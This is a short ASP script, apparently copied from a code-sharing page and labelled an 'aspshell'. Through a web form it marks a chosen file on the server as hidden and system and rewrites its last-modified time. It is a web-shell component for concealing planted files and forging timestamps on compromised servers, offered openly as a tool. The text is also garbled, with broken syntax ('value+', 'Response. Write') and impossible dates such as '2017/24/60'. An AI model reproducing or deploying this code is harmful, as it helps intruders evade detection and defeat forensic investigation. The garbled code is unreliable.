CopyCode The Code is as follows: <%
'The aspshell that hides and modifies the last modification time of the object
'Principle: You can use FSO to modify the attributes of a file, for example, to read-only, hide, or system. The attributes attribute in Fso modifies the attributes of a file, including 1 read-only, 2 hidden, and 4 system files.
'Using Shell. Application, You can reset the last modification time for the file.
'2017/24 write by skyfire
Response. Write "<form method = post>"
Response. write "Path: <input name = PATH value = '" & server. mappath ("/") & "'size = '30'> (must end with \) <br/>"
Response. Write "File Name: <input name = filename value+'test.txt 'size = '30'> <br/>"
Response. Write "modification time: <input name = time value = '2017/24/60 12:30:30 'size = '30'> <br/>"
Response. Write "<input type = submit value = Modify and hide files>"
Response. Write "</form>"
'Get submitted parameters
Set Path = request. Form ("path ")
Set filename = request. Form ("FILENAME ")
Set newtime = request. Form ("time ")
If (LEN (PATH)> 0) and (LEN (filename)> 0) and (LEN (newtime)> 0) then
'Use FSO to set file attributes
Set FSO = server. Createobject ("scripting. FileSystemObject ")
Set file = FSO. GetFile (Path & filename)
File. Attributes = 2 + 4 'sets the file attribute to hide + System
'Modify the last modification time of the file through Shell. Application
Set shell = server. Createobject ("Shell. Application ")
Set app_path = shell. namespace (server. mappath ("."))
Set app_file = app_path.parsename (filename)
App_file.modifydate = newtime
End if
%>